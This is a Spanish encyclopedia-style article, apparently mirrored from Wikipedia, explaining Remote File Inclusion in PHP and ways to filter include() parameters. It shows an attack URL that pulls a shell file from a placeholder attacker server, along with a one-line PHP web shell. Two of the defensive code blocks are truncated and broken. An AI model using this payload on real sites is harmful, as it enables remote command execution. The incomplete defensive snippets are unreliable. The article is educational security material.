Remote File Inclusion

Remote File Inclusion

Remote File Inclusion

RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().

Este tipo de vulnerabilidad no se da en páginas programadas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor.

Resumen del ataque

Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.

Una página vulnerable que presente un aspecto similar a este en su URL:

http://[servidor_victima]/index.php?page=plantilla.html

El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:

http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls

Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:

<?
  system($cmd);
?>

El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt,.gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión.php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga.

Lo que la víctima incluye en su página son secciones que se pasan a la variable page según el ejemplo anterior

<?
  include_once($page)
?>


Detener el ataque

Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:

<? 
  if ($url=="seccion")
    include ($url.".php");
?>

ó

<? 
  include ("./".$url.".php");
?>

ó

<? 
  switch($url) {
    case 0:include ("./contenidos/estapagina.php"); break;
    case 1:include ("./contenidos/estaotra.php"); break; 
    default: include("./contenidos/error.php"); break;
  }   
?>

ó

<? 
  $url = intval($_GET['url']);  //$url solo contendrá un valor entero.
  $pagina = "./contenidos/cont".$url.".php"; 
  if (file_exists($pagina))
    include($pagina);
?>

Prevenir el Ataque



Para prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:

<?

?>

De esta forma no podría utilizar la variable page para RFI.


Otra Solución



Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.

<?

    die('Error. intento de RFI..');
else
    include ($url);
?>

Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.

Enlaces externos

Obtenido de "Remote File Inclusion"

Wikimedia foundation. 2010.

Игры ⚽ Поможем сделать НИР

Mira otros diccionarios:

  • Remote File Inclusion — (RFI) is a technique used to attack Internet websites from a remote computer. With malicious intent, it can be combined with the usage of XSA to harm a webserver.How the attack worksRemote File Inclusion attacks allow malicious users to run their …   Wikipedia

  • Remote File Inclusion — Der Begriff Remote File Inclusion beschreibt eine Sicherheitslücke in Skript basierten Webanwendungen, die es einem Angreifer ermöglicht, unkontrolliert Programmcode in den Webserver einzuschleusen und dort auszuführen. Gebräuchlich ist der… …   Deutsch Wikipedia

  • Australian College of Rural and Remote Medicine — (ACRRM) has a current membership of around 2,500 including fellows, registrars, practitioners and students. [cite web| title = Australian College of Rural and Remote Medicine| publisher = ACRRM| url = http://www.acrrm.org.au| accessdate = 2007 09 …   Wikipedia

  • Comparison of file managers — The following tables compare general and technical information for a number of notable file managers. Contents 1 General information 2 Operating system support 2.1 Cross platform file managers 2.2 …   Wikipedia

  • Code injection — is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or inject ) code into a computer program to change the course of execution. The results of a code injection… …   Wikipedia

  • Code audit — A software code audit is a comprehensive analysis of source code in a programming project with the intent of discovering bugs, security breaches or violations of programming conventions. It is an integral part of the defensive programming… …   Wikipedia

  • Exploit (informatique) — Pour les articles homonymes, voir Exploit. Un exploit est, dans le domaine de la sécurité informatique, un élément de programme permettant à un individu ou un logiciel malveillant d exploiter une faille de sécurité informatique dans un système d… …   Wikipédia en Français

  • RFI — can mean: * Radio Frequency Interference * Radio France Internationale * Relative fluorescence intensity * Room for Improvement * Ready for issue US government term for equipment ready for use * Remote File Inclusion * Request For Information, a… …   Wikipedia

  • RFI — Die Abkürzung RFI steht für Radiative Forcing Index, ein Maß für die Wirkung von Treibhausgasen auf den Treibhauseffekt Radio France Internationale, den Auslandsrundfunk Frankreichs Radio Frequency Identification, ein Verfahren zur automatischen… …   Deutsch Wikipedia

  • RFI — Saltar a navegación, búsqueda Las siglas RFI puede referirse a: Remote File Inclusion (RFI) Una vulnerabilidad existente en las páginas web diseñadas en PHP Radio Francia Internacional El servicio público de radio internacional del gobierno… …   Wikipedia Español

Compartir el artículo y extractos

Link directo
Do a right-click on the link above
and select “Copy Link”